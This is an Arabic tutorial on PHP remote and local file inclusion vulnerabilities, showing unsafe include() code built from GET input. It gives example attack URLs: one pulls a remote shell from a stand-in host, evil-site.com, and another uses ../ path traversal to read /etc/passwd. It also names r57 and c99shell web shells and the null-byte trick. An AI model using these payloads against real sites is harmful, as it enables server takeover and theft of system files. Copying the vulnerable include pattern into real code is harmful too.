بسم الله الرحمن الرحيم
لقد تعرفنا على الـ ( XSS ) , ( SQL Injection ) فـي دروس سابقه واليوم سوف نتكلم عن ما هو اخطر من الاثنين وما يسمى بالـ File Inclusion ..
وهذه الثغرات أخطر من الـ XSS بـكثير , وخطرها ليس على المستخدم بـل على الـسيرفر .. ممكن تكون أكثر خطوره من الـ SQL Injection في بعض الاحيان ..

طـريقة العمل ؟
هذه الثغرات تتواجد بكثره في اغلب برامج الـ PHP التي تعتمد على دوال ( ارفاق و استدعاء الملفات ) حيث يقوم المهاجم بتغير مسار الملف الذي نريد استدعائه لـ استدعاء ملف خبيث ( PHP Shell ) حيث يعطي المخترق تحكم شبه كامل بالموقع احيانا و إذا كان المخترق من المحترفين فـ حينها سوف يسيطر على السيرفر كـ كل ..

* لم تصادفني ثغرات من هذا النوع في برامج الـ ASP أو الـ JSP
الـ دوال التي من الممكن وجود الثغره فيها ...

include();
require();
include_once();
require_once();

الـ تعامل مع الكود المصدري ..

انظر على الكود التالي:

include($_GET['page'].'.php');

هناك داله من الدوال الخطره التي تكلمنا عنها .. وهي الـ ( include() )

كما تلاحظ .. يتم جلب اسم الملف المـراد ارفـاقه بالـكود من الـ HTTP Request / GET .. حـيث تكون وصلة الملف كـالتالي ..

http://127.0.0.1/file.php?page=home

هنا يتم استدعاء الملف ( home.php ) حـسب كود الـ ( PHP ) المكتوب اعلاه .. لاكن نلاحظ ايضا ان الـزائر له حرية التحكم بـمدخلات الداله ..
فيمكنه مثلاً استدعاء أي ملف ( PHP ) يريد على السيرفر .. لاكن الخطوره تكمن في استدعاء ملف من خارج السيرفر أو من على السيرفر و يكون يحتوي على اكواد خبيثه ..
مثل تلك الاكواد التي تساعد المخترقين بالسيطره على الموقع .. ( r57 , c99shell ) وغيرها من الشيلات ..

انظر إلى الكود التالي :

Link :
http://127.0.0.1/file.php?page=http://evil-site.com/shell

Code :<br />
include('http://evil-site.com/shell'.'.php');

وهكذا قضي علينا .. * توضيح *
هناك نوعان من الـ File Inclusion .. منها الـ Remote و منها الـ Local ..

الـ Remote :- التي تسمح بــ استدعاء ملفات من خارج الـسيرفر بحالة الـ allow_url_fopen = On في ملف الـ php.ini .
الـ Local : هي التي تسمح بــ استدعاء ملفات عن السيرفر نفسه مثل الـ /etc/passwd أو شيل مرفوع على شكل صوره بالمنتدى .

الـفرق بين الـ Local و الـ Remote يكون بـ معطيات الداله الرئيسية .. مثلاً لاحظ الكود التالي :

include('/inc/'.$_GET['page'].'.inc');

هنا تم تحديد المسار الذي سوف يستدعى منه الملف ( /inc/ ) وطبعاً الداله يوجد فيها ثغره و هيه حرية المستخدم في تحديد الملف الذي يريد استدعائه ..

لاكن ماذا يستفيد المهاجم ؟ لا شيء .. لهذا يضع مسارات داخل السيرفر ليتم استدعائها .. مثلاً للتوضيح لا غير :

Link :
http://127.0.0.1/file.php?page=../../../../../../../etc/passwd

Code:
include('/inc/'.'../../../../../../../etc/passwd');

هنا يتم استدعاء الـ /etc/passwd من على السيرفر .. أما الـ %00 فهيه الـ Null Char الذي يتجاهل ما بعده من امتدادات و يعمل فقط في حالة الـ magic_quotes_gpc = Off في ملف الـ php.ini
وهذا تقريبا ما اريد ايـصاله من خلال هذا المقال ( الدرس ) .. اتمنى ان لا يقع احد في هذه الاخطاء ..